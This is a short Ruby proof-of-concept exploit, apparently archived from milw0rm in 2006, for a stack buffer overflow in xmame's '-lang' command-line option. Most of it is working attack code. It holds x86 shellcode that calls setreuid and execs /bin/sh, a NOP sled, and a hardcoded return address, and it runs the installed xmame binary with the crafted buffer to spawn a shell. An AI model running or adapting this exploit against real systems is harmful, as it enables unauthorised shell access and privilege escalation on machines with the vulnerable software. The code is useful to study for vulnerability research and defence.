#!/usr/bin/ruby # # One of the PoC code for xmame "-lang" options. # Advisory is base on : http://kerneltrap.org/node/6055 # # by xwings at mysec dot org # url : http://www.mysec.org , new website # Tested on : # Linux debian24 2.4.27-2-386 #1 Mon May 16 16:47:51 JST 2005 i686 GNU/Linux # gcc version 4.0.3 20060104 (prerelease) (Ubuntu 4.0.2-6ubuntu1) # xmame 0.102 , ./configure && make && make install # #setreuid(geteuid(),geteuid()) execl(); executes /bin//sh 49 bytes. shellcode = "\x31\xc9\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0"+ "\x46\xcd\x80\x31\xc9\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69"+ "\x6e\x89\xe3\x51\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\xb0\x01"+ "\x31\xdb\xcd\x80" vulnpath = "/usr/games/xmame.x11" argvopt = "-lang" ret = (0xbfffe8da) retadd = ([ret].pack('V')) nops = ("\x90" * (1056 - (shellcode.length + retadd.length))) buffer = nops+shellcode+retadd system(vulnpath,argvopt,buffer) # milw0rm.com [2006-01-10] 
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